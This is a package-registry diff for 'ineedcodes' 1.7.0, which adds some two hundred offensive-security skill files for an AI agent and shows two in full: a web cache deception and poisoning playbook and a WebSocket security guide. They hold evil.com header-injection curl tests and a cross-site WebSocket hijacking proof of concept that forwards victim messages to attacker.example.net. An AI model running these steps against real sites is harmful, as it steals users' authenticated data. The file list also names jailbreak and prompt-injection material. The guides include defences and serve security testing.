ineedcodes 1.6.0 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +47 -11
- package/src/skills.js +30 -6
- package/src/ui.js +1 -1
|
@@ -0,0 +1,222 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: web-cache-deception
|
|
3
|
+
description: >-
|
|
4
|
+
Web cache deception and poisoning playbook. Use when CDN, reverse proxy, or application caching may serve sensitive authenticated content to other users due to path confusion or cache key manipulation.gated: true
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# SKILL: Web Cache Deception — Expert Attack Playbook
|
|
8
|
+
|
|
9
|
+
> **AI LOAD INSTRUCTION**: Web cache deception and poisoning techniques. Covers path confusion attacks, CDN cache behavior exploitation, cache key manipulation, and the distinction between cache deception (steal data) and cache poisoning (serve malicious content). Presented by Omer Gil at Black Hat 2017 and significantly expanded since.
|
|
10
|
+
|
|
11
|
+
### Advanced Reference
|
|
12
|
+
|
|
13
|
+
Also load [CACHE_POISONING_TECHNIQUES.md](./CACHE_POISONING_TECHNIQUES.md) when you need:
|
|
14
|
+
- Web Cache Poisoning vs Web Cache Deception — clear distinction and attack flow comparison
|
|
15
|
+
- Unkeyed header poisoning (X-Forwarded-Host, X-Forwarded-Scheme, X-Original-URL, multiple Host headers)
|
|
16
|
+
- Unkeyed parameter poisoning (utm_content, fbclid, callback, reflected but not in cache key)
|
|
17
|
+
- Fat GET cache poisoning (body parameters reflected but not keyed)
|
|
18
|
+
- Parameter cloaking via semicolons and duplicate parameter parsing differentials
|
|
19
|
+
- CDN-specific behavior: Cloudflare, CloudFront, Akamai, Varnish, Fastly (cache key composition, debug headers, ESI)
|
|
20
|
+
- Vary header manipulation, cache partitioning attacks, and missing Vary vulnerabilities
|
|
21
|
+
|
|
22
|
+
## 1. CORE CONCEPTS
|
|
23
|
+
|
|
24
|
+
### Web Cache Deception (steal authenticated data)
|
|
25
|
+
|
|
26
|
+
The attacker tricks a victim into requesting their authenticated page at a URL that the cache considers static:
|
|
27
|
+
|
|
28
|
+
```
|
|
29
|
+
Victim visits: https://target.com/account/profile/nonexistent.css
|
|
30
|
+
→ Application ignores "nonexistent.css", serves /account/profile (with auth data)
|
|
31
|
+
→ CDN sees .css extension → caches the response
|
|
32
|
+
→ Attacker fetches: https://target.com/account/profile/nonexistent.css
|
|
33
|
+
→ CDN serves cached authenticated content → attacker reads victim's data
|
|
34
|
+
```
|
|
35
|
+
|
|
36
|
+
### Web Cache Poisoning (serve malicious content)
|
|
37
|
+
|
|
38
|
+
The attacker manipulates unkeyed request components (headers, cookies) to make the cache store a malicious response:
|
|
39
|
+
|
|
40
|
+
```
|
|
41
|
+
GET /page HTTP/1.1
|
|
42
|
+
Host: target.com
|
|
43
|
+
X-Forwarded-Host: evil.com
|
|
44
|
+
→ Application generates: <script src="https://evil.com/js/app.js">
|
|
45
|
+
→ Cache stores this response
|
|
46
|
+
→ Normal users hit cache → load attacker's JavaScript
|
|
47
|
+
```
|
|
48
|
+
|
|
49
|
+
---
|
|
50
|
+
|
|
51
|
+
## 2. CACHE DECEPTION — ATTACK METHODOLOGY
|
|
52
|
+
|
|
53
|
+
### Step 1: Identify Cacheable Path Patterns
|
|
54
|
+
|
|
55
|
+
CDNs typically cache by file extension:
|
|
56
|
+
```text
|
|
57
|
+
.css .js .jpg .png .gif .svg .ico
|
|
58
|
+
.woff .woff2 .ttf .pdf .json (sometimes)
|
|
59
|
+
```
|
|
60
|
+
|
|
61
|
+
### Step 2: Test Path Confusion
|
|
62
|
+
|
|
63
|
+
```text
|
|
64
|
+
# Append static extension to authenticated endpoint:
|
|
65
|
+
https://target.com/api/me/info.css
|
|
66
|
+
https://target.com/account/profile/x.js
|
|
67
|
+
https://target.com/settings/avatar.png
|
|
68
|
+
https://target.com/dashboard/data.json
|
|
69
|
+
|
|
70
|
+
# Path traversal style:
|
|
71
|
+
https://target.com/account/profile/..%2fstatic/app.css
|
|
72
|
+
```
|
|
73
|
+
|
|
74
|
+
### Step 3: Verify Caching
|
|
75
|
+
|
|
76
|
+
```bash
|
|
77
|
+
# Request as victim (authenticated):
|
|
78
|
+
curl -H "Cookie: session=VICTIM" https://target.com/account/profile/x.css
|
|
79
|
+
|
|
80
|
+
# Check response headers:
|
|
81
|
+
# X-Cache: MISS (first request)
|
|
82
|
+
# Age: 0
|
|
83
|
+
|
|
84
|
+
# Request again as attacker (no auth):
|
|
85
|
+
curl https://target.com/account/profile/x.css
|
|
86
|
+
|
|
87
|
+
# Check response:
|
|
88
|
+
# X-Cache: HIT
|
|
89
|
+
# Contains victim's authenticated content? → vulnerable
|
|
90
|
+
```
|
|
91
|
+
|
|
92
|
+
### Step 4: Deliver to Victim
|
|
93
|
+
|
|
94
|
+
Send the crafted URL to victim via phishing, message, or embed:
|
|
95
|
+
```
|
|
96
|
+
https://target.com/account/profile/tracking.gif
|
|
97
|
+
```
|
|
98
|
+
|
|
99
|
+
---
|
|
100
|
+
|
|
101
|
+
## 3. CACHE POISONING — ATTACK METHODOLOGY
|
|
102
|
+
|
|
103
|
+
### Unkeyed Input Discovery
|
|
104
|
+
|
|
105
|
+
Cache keys typically include: `Host`, URL path, query string.
|
|
106
|
+
These are typically NOT in the cache key: `X-Forwarded-Host`, `X-Forwarded-Scheme`, `X-Original-URL`, cookies, custom headers.
|
|
107
|
+
|
|
108
|
+
```bash
|
|
109
|
+
# Test if X-Forwarded-Host is reflected but not keyed:
|
|
110
|
+
curl -H "X-Forwarded-Host: evil.com" https://target.com/page
|
|
111
|
+
# If response contains evil.com and caches → poisonable
|
|
112
|
+
```
|
|
113
|
+
|
|
114
|
+
### Common Unkeyed Headers
|
|
115
|
+
|
|
116
|
+
```text
|
|
117
|
+
X-Forwarded-Host X-Forwarded-Scheme X-Forwarded-Proto
|
|
118
|
+
X-Original-URL X-Rewrite-URL X-Host
|
|
119
|
+
X-Forwarded-Server Forwarded True-Client-IP
|
|
120
|
+
```
|
|
121
|
+
|
|
122
|
+
### Cache Poisoning via Host Header
|
|
123
|
+
|
|
124
|
+
```
|
|
125
|
+
GET / HTTP/1.1
|
|
126
|
+
Host: target.com
|
|
127
|
+
X-Forwarded-Host: evil.com
|
|
128
|
+
|
|
129
|
+
→ Response: <link href="//evil.com/static/main.css">
|
|
130
|
+
→ Cached → all users load attacker's CSS/JS
|
|
131
|
+
```
|
|
132
|
+
|
|
133
|
+
---
|
|
134
|
+
|
|
135
|
+
## 4. PATH NORMALIZATION DIFFERENCES
|
|
136
|
+
|
|
137
|
+
The key to cache deception: **CDN and application normalize paths differently**.
|
|
138
|
+
|
|
139
|
+
| Component | Behavior |
|
|
140
|
+
|---|---|
|
|
141
|
+
| CDN (Cloudflare, Akamai) | Caches based on full URL path including extension |
|
|
142
|
+
| Application (Rails, Django, Express) | May ignore trailing path segments or extensions |
|
|
143
|
+
| Reverse proxy (Nginx) | May strip or rewrite path before forwarding |
|
|
144
|
+
|
|
145
|
+
```text
|
|
146
|
+
# Application treats these as equivalent:
|
|
147
|
+
/account/profile
|
|
148
|
+
/account/profile/anything
|
|
149
|
+
/account/profile/x.css
|
|
150
|
+
/account/profile;.css
|
|
151
|
+
|
|
152
|
+
# CDN treats .css as cacheable static asset
|
|
153
|
+
→ Mismatch = vulnerability
|
|
154
|
+
```
|
|
155
|
+
|
|
156
|
+
---
|
|
157
|
+
|
|
158
|
+
## 5. CACHE POISONING REAL-WORLD PATTERN
|
|
159
|
+
|
|
160
|
+
### X-Forwarded-Host → Open Graph / Meta Tag Injection
|
|
161
|
+
|
|
162
|
+
```text
|
|
163
|
+
# Target page uses X-Forwarded-Host to generate meta tags:
|
|
164
|
+
GET / HTTP/1.1
|
|
165
|
+
Host: target.com
|
|
166
|
+
X-Forwarded-Host: evil.com
|
|
167
|
+
|
|
168
|
+
# Response:
|
|
169
|
+
<meta property="og:image" content="https://evil.com/assets/logo.png">
|
|
170
|
+
# or:
|
|
171
|
+
<link rel="canonical" href="https://evil.com/">
|
|
172
|
+
|
|
173
|
+
# If response is cached → all users see evil.com references
|
|
174
|
+
# Impact: XSS via injected JS path, phishing via canonical redirect, SEO hijack
|
|
175
|
+
```
|
|
176
|
+
|
|
177
|
+
### Cache Deception with Path Separator Tricks
|
|
178
|
+
|
|
179
|
+
```text
|
|
180
|
+
# Semicolon (treated as path parameter by some frameworks):
|
|
181
|
+
/account/profile;.css
|
|
182
|
+
|
|
183
|
+
# Encoded separators:
|
|
184
|
+
/account/profile%2F.css
|
|
185
|
+
|
|
186
|
+
# Trailing dot/space:
|
|
187
|
+
/account/profile/.css
|
|
188
|
+
/account/profile .css
|
|
189
|
+
```
|
|
190
|
+
|
|
191
|
+
---
|
|
192
|
+
|
|
193
|
+
## 6. DEFENSE
|
|
194
|
+
|
|
195
|
+
### For Cache Deception
|
|
196
|
+
|
|
197
|
+
- Cache only explicitly static paths (e.g., `/static/*`, `/assets/*`)
|
|
198
|
+
- Never cache based on file extension alone
|
|
199
|
+
- Set `Cache-Control: no-store, private` on authenticated endpoints
|
|
200
|
+
- Use `Vary: Cookie` to prevent cross-user cache hits
|
|
201
|
+
|
|
202
|
+
### For Cache Poisoning
|
|
203
|
+
|
|
204
|
+
- Include all reflected headers in cache key
|
|
205
|
+
- Validate and sanitize `X-Forwarded-*` headers
|
|
206
|
+
- Use `Cache-Control: no-cache` for dynamic content
|
|
207
|
+
- Strip unknown headers at CDN edge
|
|
208
|
+
|
|
209
|
+
---
|
|
210
|
+
|
|
211
|
+
## 6. TESTING CHECKLIST
|
|
212
|
+
|
|
213
|
+
```
|
|
214
|
+
□ Identify CDN/cache layer (X-Cache, Age, Via headers)
|
|
215
|
+
□ Append .css/.js/.png to authenticated API endpoints
|
|
216
|
+
□ Check if response is cached (X-Cache: HIT on second request)
|
|
217
|
+
□ Test path separators: /x.css, ;.css, %2F.css
|
|
218
|
+
□ Test unkeyed headers: X-Forwarded-Host, X-Original-URL
|
|
219
|
+
□ Verify Cache-Control headers on sensitive endpoints
|
|
220
|
+
□ Check Vary header presence
|
|
221
|
+
□ Test with and without authentication
|
|
222
|
+
```
|
|
@@ -0,0 +1,454 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: websocket-security
|
|
3
|
+
description: >-
|
|
4
|
+
WebSocket handshake, CSWSH, tooling (wsrepl, ws-harness, Burp), and common flaws. Use when apps use real-time channels, chat, notifications, or WS-backed APIs.gated: true
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# SKILL: WebSocket Security
|
|
8
|
+
|
|
9
|
+
> **AI LOAD INSTRUCTION**: This skill covers WebSocket protocol basics, cross-site WebSocket hijacking (CSWSH), practical tooling bridges, and common vulnerability classes. Apply only in **authorized** tests; treat tokens and message content as sensitive. For REST/GraphQL companion testing, cross-load **[api-sec](../api-sec/SKILL.md)** when present in the workspace.
|
|
10
|
+
|
|
11
|
+
## 0. QUICK START
|
|
12
|
+
|
|
13
|
+
During proxy or raw traffic review, watch for:
|
|
14
|
+
|
|
15
|
+
```http
|
|
16
|
+
Upgrade: websocket
|
|
17
|
+
Connection: Upgrade
|
|
18
|
+
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
|
|
19
|
+
Sec-WebSocket-Version: 13
|
|
20
|
+
Sec-WebSocket-Protocol: optional-subprotocol
|
|
21
|
+
```
|
|
22
|
+
|
|
23
|
+
Server success response indicators:
|
|
24
|
+
|
|
25
|
+
```http
|
|
26
|
+
HTTP/1.1 101 Switching Protocols
|
|
27
|
+
Upgrade: websocket
|
|
28
|
+
Connection: Upgrade
|
|
29
|
+
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
|
|
30
|
+
```
|
|
31
|
+
|
|
32
|
+
**Routing note**: in Burp/browser DevTools, filter for `101` and `Upgrade: websocket`; for deeper API testing, align authn/authz models through `api-sec`.
|
|
33
|
+
|
|
34
|
+
---
|
|
35
|
+
|
|
36
|
+
## 1. PROTOCOL BASICS
|
|
37
|
+
|
|
38
|
+
### Client request (typical)
|
|
39
|
+
|
|
40
|
+
- **`Upgrade: websocket`** and **`Connection: Upgrade`** — required upgrade handshake.
|
|
41
|
+
- **`Sec-WebSocket-Key`** — base64 nonce; server hashes with magic GUID and responds with **`Sec-WebSocket-Accept`**.
|
|
42
|
+
- **`Sec-WebSocket-Version: 13`** — current standard version for browser interoperability.
|
|
43
|
+
|
|
44
|
+
### Server response
|
|
45
|
+
|
|
46
|
+
- **`HTTP/1.1 101 Switching Protocols`** — handshake complete; subsequent frames are WebSocket binary/text frames per RFC.
|
|
47
|
+
|
|
48
|
+
Minimal conceptual flow:
|
|
49
|
+
|
|
50
|
+
```text
|
|
51
|
+
Client: HTTP GET + Upgrade headers
|
|
52
|
+
Server: 101 + Sec-WebSocket-Accept
|
|
53
|
+
Channel: framed messages (text/binary), ping/pong, close
|
|
54
|
+
```
|
|
55
|
+
|
|
56
|
+
---
|
|
57
|
+
|
|
58
|
+
## 2. CROSS-SITE WEBSOCKET HIJACKING (CSWSH)
|
|
59
|
+
|
|
60
|
+
### Condition
|
|
61
|
+
|
|
62
|
+
- The server **does not validate `Origin`** (or equivalent binding) on the WebSocket handshake, **and**
|
|
63
|
+
- The victim has an **active session** (cookie-based or browser-stored creds) to the target site.
|
|
64
|
+
|
|
65
|
+
Then a malicious page loaded in the victim’s browser may open a WebSocket **as the victim**, similar in spirit to CSRF but for a **persistent bidirectional channel**.
|
|
66
|
+
|
|
67
|
+
### Proof-of-concept pattern (laboratory / authorized target only)
|
|
68
|
+
|
|
69
|
+
```javascript
|
|
70
|
+
const ws = new WebSocket('wss://vulnerable.example.com/messages');
|
|
71
|
+
ws.onopen = () => { ws.send('HELLO'); };
|
|
72
|
+
ws.onmessage = (event) => {
|
|
73
|
+
fetch('https://attacker.example.net/?' + encodeURIComponent(event.data));
|
|
74
|
+
};
|
|
75
|
+
```
|
|
76
|
+
|
|
77
|
+
**Testing notes**: Confirm whether **`Origin`** is checked, whether **cookies** are sent (`SameSite` rules), and whether **subprotocol** or **custom headers** are required—missing checks increase CSWSH risk.
|
|
78
|
+
|
|
79
|
+
---
|
|
80
|
+
|
|
81
|
+
## 3. TESTING WITH TOOLS
|
|
82
|
+
|
|
83
|
+
### wsrepl
|
|
84
|
+
|
|
85
|
+
```bash
|
|
86
|
+
pip install wsrepl
|
|
87
|
+
wsrepl -u wss://target.example.com/ws -P auth_plugin.py
|
|
88
|
+
```
|
|
89
|
+
|
|
90
|
+
Use a **plugin** to reproduce browser cookies, headers, or token refresh during the WebSocket lifecycle.
|
|
91
|
+
|
|
92
|
+
### ws-harness (bridge to HTTP for other tools)
|
|
93
|
+
|
|
94
|
+
```bash
|
|
95
|
+
python ws-harness.py -u "ws://127.0.0.1:8765/path" -m ./message.txt
|
|
96
|
+
```
|
|
97
|
+
|
|
98
|
+
Example downstream use with SQL injection tooling over the bridged HTTP surface (adjust URL to local listener):
|
|
99
|
+
|
|
100
|
+
```bash
|
|
101
|
+
sqlmap -u "http://127.0.0.1:8000/?fuzz=test" --batch
|
|
102
|
+
```
|
|
103
|
+
|
|
104
|
+
### Burp Suite ecosystem
|
|
105
|
+
|
|
106
|
+
- **SocketSleuth** — inspect and manipulate WebSocket traffic inside Burp.
|
|
107
|
+
- **WebSocket Turbo Intruder** — high-rate or scripted message fuzzing.
|
|
108
|
+
|
|
109
|
+
---
|
|
110
|
+
|
|
111
|
+
## 4. COMMON VULNERABILITIES
|
|
112
|
+
|
|
113
|
+
| Issue | Why it matters |
|
|
114
|
+
|-------|----------------|
|
|
115
|
+
| Missing **`Origin`** validation | Enables **CSWSH** from attacker-controlled pages |
|
|
116
|
+
| **Auth token in URL** (`wss://host/ws?token=...`) | Logs, proxies, Referer leakage, browser history |
|
|
117
|
+
| **No rate limiting** on messages | Abuse, brute force, DoS |
|
|
118
|
+
| **`ws://` instead of `wss://`** | Cleartext on the wire (MITM) |
|
|
119
|
+
| **Injection in message bodies** | SQLi, command injection, or XSS if content is stored/reflected elsewhere |
|
|
120
|
+
|
|
121
|
+
Example sensitive URL anti-pattern:
|
|
122
|
+
|
|
123
|
+
```text
|
|
124
|
+
wss://api.example.com/stream?access_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
|
|
125
|
+
```
|
|
126
|
+
|
